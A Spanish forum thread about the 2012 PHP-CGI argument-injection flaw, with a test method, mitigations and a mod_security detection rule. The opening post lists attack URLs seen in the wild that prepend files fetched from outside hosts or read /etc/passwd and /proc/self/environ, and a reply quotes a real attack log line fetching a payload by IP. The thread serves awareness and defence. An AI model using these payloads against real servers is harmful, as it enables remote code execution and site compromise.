Grave vulnerabilidad PHP en modo CGI

Iniciado por el-brujo, 15 Mayo 2012, 18:03 PM

0 Miembros y 1 Visitante están viendo este tema.

el-brujo

Una vulnerabilidad vigente desde hace 8 años y la desucbren por casualidad  >:D

Apache mod_cgi

¿Cómo comprobar si su sitio es vulnerable?

Añadiendo -s? Al final de la URL  de cualquierscript PHP, como:

ww.tusitioweb.com/index.php?-s


?-s

http://example.com/index.php?-dauto_prepend_file%3d/etc/passwd+-n

Si ve el código PHP, el PHP es vulnerable.
Si ves a tu página normalmente, su sitio no se ve afectada.

    Allow_url_include: Permite el uso de fopen con algunas funciones como include, include_once,require, require_once.

    Auto_prepend_file: Permite especificar un archivo que será interpretado antes del fichero principal.


Ejemplos ataque (la mayoría intentando usar una webshell o ejecutando un backdoor)

/index.php?-s'
/index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.5999mu.com/a.txt'
/index.php?-s/wp-admin/install.php'
/wordpress/index.php?-s'
/wp/index.php?-s'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3d%2Fproc%2Fself%2Fenviron'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2Fphp-cgi.ipq.co%2Fi'
/index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dphp:%2f%2finput'
/index.php?-dallow_url_include%3don+-dauto_prepend_file%3dhttp://www.qz0451.com/1.txt'

¿Cómo mitigar el problema?
Si su sitio se ve afectada, y puede que tenga disponible y habilitado mod_rewrite en Apache, por favor, añadir a la htaccess la regla de reescritura.:

El siguiente código no funciona:

RewriteEngine on

RewriteCond %{QUERY_STRING} ^[^=]*$
RewriteCond %{QUERY_STRING} %2d|\- [NC]
RewriteRule .? - [F,L]


Si funciona:

    RewriteCond %{QUERY_STRING} ^(%2d|-)[^=]+$ [NC]
    RewriteRule ^(.*) $1? [L]


Regla con mod_security

SecRule QUERY_STRING "^-[sdcr]" "phase:1,t:none,t:urlDecodeUni,t:removeWhitespace,block,log,msg:'Potential PHP-CGI Exploit Attempt'"

Solución:

Actualizar a PHP 5.4.3 and PHP 5.3.13
http://www.php.net/archive/2012.php#id2012-05-08-1

Fuentes:
http://ompldr.org/vZGxxaQ
http://www.php.net/archive/2012.php#id2012-05-03-1
http://eindbazen.net/2012/05/php-cgi-advisory-cve-2012-1823/

En Español:
http://www.elladodelmal.com/2012/05/ejecutar-codigo-remoto-en-apache-con.html
http://www.pentester.es/2012/05/explotando-php-cgi.html


dimitrix

#1
Esto lo se desde hace bastante. Los de Strato enviaron una circular avisando.

PD: Muchas gracias por publicarlo.




Graphixx

Video de la vulnerabilidad:
http://youtu.be/ZcUsR9DSSOk
[youtube=425,350]http://youtu.be/ZcUsR9DSSOk[/youtube]

PD: por que no sale el video incrustado, si le pongo las etiquetas de [ youtube=425,350 ]youtube[ /youtube ] grrrr  >:D
Nada tiene fin solo hay pequeñas pausas, pausas que determinan el comienzo de otros. Graphixx
Mi blog

el-brujo

Cita de: Graphixx en 17 Mayo 2012, 09:42 AM
PD: por que no sale el video incrustado, si le pongo las etiquetas de [ youtube=425,350 ]youtube[ /youtube ] grrrr  >:D

Las nuevas urls de youtube no funcionan, hay que poner el código viejo de los vídeos:

[youtube=425,350]http://www.youtube.com/watch?v=ZcUsR9DSSOk[/youtube]

squared

#4
Gracias por la info. Estaban utilizando este exploit en mi web para modificar los .htaccess y redirigir a una web rusa, a parte de haberme encontrado webshells inyectados en diferentes .php del joomla.

Estos registros del log son los que me han traido hasta aquí

151.199.14.220 - - [18/May/2012:17:52:40 +0200] "GET /index.php?-dsafe_mode%3dOff+-ddisable_functions%3dNULL+-dallow_url_fopen%3dOn+-dallow_url_include%3dOn+-dauto_prepend_file%3dhttp%3A%2F%2F81.17.24.82%2Finfo3.txt HTTP/1.1" 200 308 "-" "Mozilla/4.0 (compatible; MSIE 6.0b; Windows NT 5.0; .NET CLR 1.0.2914)"

Gracias de nuevo